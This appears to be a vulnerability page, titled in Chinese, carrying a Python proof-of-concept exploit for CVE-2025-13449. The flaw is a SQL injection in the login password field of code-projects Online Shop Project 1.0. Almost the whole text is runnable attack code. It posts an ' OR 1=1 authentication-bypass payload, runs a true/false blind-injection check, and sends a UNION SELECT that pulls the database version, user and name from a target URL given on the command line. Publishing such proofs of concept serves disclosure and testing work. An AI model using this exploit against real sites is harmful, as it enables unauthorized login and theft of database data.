CVE-2025-13449 code-projects Online Shop Project 1.0 SQL注入漏洞

#!/usr/bin/env python3 # CVE-2025-13449 SQL Injection PoC # Target: code-projects Online Shop Project 1.0 # Vulnerability: SQL Injection in /login.php Password parameter import requests import sys from urllib.parse import urlencode def exploit_sqli(target_url, payload): """Send SQL injection payload to login page""" login_url = f"{target_url}/login.php" # Payload for authentication bypass data = { 'email': '[email protected]', 'password': payload, 'login': 'Login' } try: response = requests.post(login_url, data=data, timeout=10) return response except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None def test_blind_sqli(target_url): """Test for blind SQL injection vulnerability""" # True condition - should respond normally true_payload = "' OR 1=1 -- " # False condition - should behave differently false_payload = "' OR 1=2 -- " print(f"[*] Testing blind SQL injection on {target_url}") print(f"[*] Sending true condition payload...") resp_true = exploit_sqli(target_url, true_payload) print(f"[*] Sending false condition payload...") resp_false = exploit_sqli(target_url, false_payload) if resp_true and resp_false: if resp_true.text != resp_false.text: print("[+] Blind SQL injection vulnerability confirmed!") return True return False def extract_database_info(target_url): """Extract database version using UNION-based injection""" payload = "' UNION SELECT NULL,version(),user(),database() -- " print(f"[*] Extracting database information...") response = exploit_sqli(target_url, payload) if response: print(f"[+] Response length: {len(response.text)}") print(f"[+] Check response for database info") return response if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_url>") print(f"Example: {sys.argv[0]} http://192.168.1.100/online-shop") sys.exit(1) target = sys.argv[1].rstrip('/') print("="*60) print("CVE-2025-13449 SQL Injection Exploit") print("Target: code-projects Online Shop Project 1.0") print("="*60) # Test vulnerability if test_blind_sqli(target): print("[+] Vulnerability exists - proceed with exploitation") extract_database_info(target) else: print("[-] Vulnerability not detected or target not vulnerable")